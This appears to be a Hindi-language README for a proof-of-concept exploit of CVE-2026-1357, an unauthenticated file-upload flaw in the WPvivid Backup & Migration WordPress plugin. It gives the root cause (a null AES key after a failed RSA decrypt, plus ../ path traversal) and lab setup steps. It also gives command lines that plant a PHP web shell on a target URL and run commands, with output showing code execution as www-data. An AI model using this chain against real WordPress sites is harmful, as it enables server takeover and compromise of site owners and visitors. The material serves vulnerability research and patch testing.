
CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 अप्रमाणित RCE एक्सप्लॉइट
बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड → रिमोट कोड निष्पादन
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-1357 |
| CVSS | 9.8 (गंभीर) |
| प्लगइन | WPvivid Backup & Migration |
| प्रभावित | ≤ 0.9.123 |
| पैच किया गया | 0.9.124 |
| खोजकर्ता | Lucas Montes (NiRoX) |
| PoC द्वारा | halilkirazkaya |
WPvivid Backup & Migration प्लगइन (≤ 0.9.123) में एक गंभीर कमजोरी है जो एक बिना प्रमाणीकरण वाले हमलावर को सर्वर पर मनमानी PHP फ़ाइलें अपलोड करने की अनुमति देती है, जिससे रिमोट कोड निष्पादन (RCE) होता है।
शोषण श्रृंखला दो बगों को जोड़ती है:
प्लगइन wpvivid_action=send_to_site हुक के माध्यम से रिमोट बैकअप ट्रांसफ़र को संभालता है। सत्र कुंजी को डिक्रिप्ट करते समय, openssl_private_decrypt() एक दोषपूर्ण RSA कुंजी के लिए false लौटाता है। प्लगइन इस रिटर्न वैल्यू की जाँच नहीं करता और false को phpseclib v1 के Crypt_Rijndael को भेज देता है, जो इसे CBC मोड और शून्य IV के साथ 16-बाइट शून्य कुंजी (\x00 × 16) के रूप में मानता है।
डिक्रिप्टेड JSON पेलोड में name पैरामीटर सैनिटाइज़ नहीं किया गया है। एक हमलावर प्रतिबंधित बैकअप निर्देशिका के बाहर सार्वजनिक रूप से सुलभ wp-content/uploads/ निर्देशिका में PHP फ़ाइल लिखने के लिए ../ अनुक्रमों का उपयोग कर सकता है।
wpvivid_api_token प्लगइन सेटिंग्स में जनरेट किया गया होना चाहिए और उसकी समय-सीमा समाप्त नहीं हुई होनी चाहिए।
WPvivid Backup & Migration v0.9.123 (असुरक्षित संस्करण) डाउनलोड और एक्सट्रैक्ट करें:
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip
इससे wpvivid-backuprestore/ निर्देशिका बनेगी जिसे docker-compose.yml के माध्यम से Docker कंटेनर में माउंट किया जाता है।
docker compose up -d
http://localhost खोलें और WordPress स्थापना पूर्ण करें।pip install -r requirements.txt
# Check vulnerability only (uploads a harmless txt file and verifies MD5)
python3 exploit.py -u http://TARGET-URL -c
# Upload shell and run default command (id)
python3 exploit.py -u http://TARGET-URL -s
# Upload shell and run custom command
python3 exploit.py -u http://TARGET-URL -s "whoami"
[*] Target : http://localhost/
[*] Mode : Check
[*] Upload path : ../uploads/h8xq9b3v2z1c.txt
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] Vulnerability Confirmed! File content matches MD5.
[*] Target : http://localhost/
[*] Mode : Shell
[*] Upload path : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] Verify cmd : id
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE Confirmed!
[✓] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। जिम्मेदारी से उपयोग करें।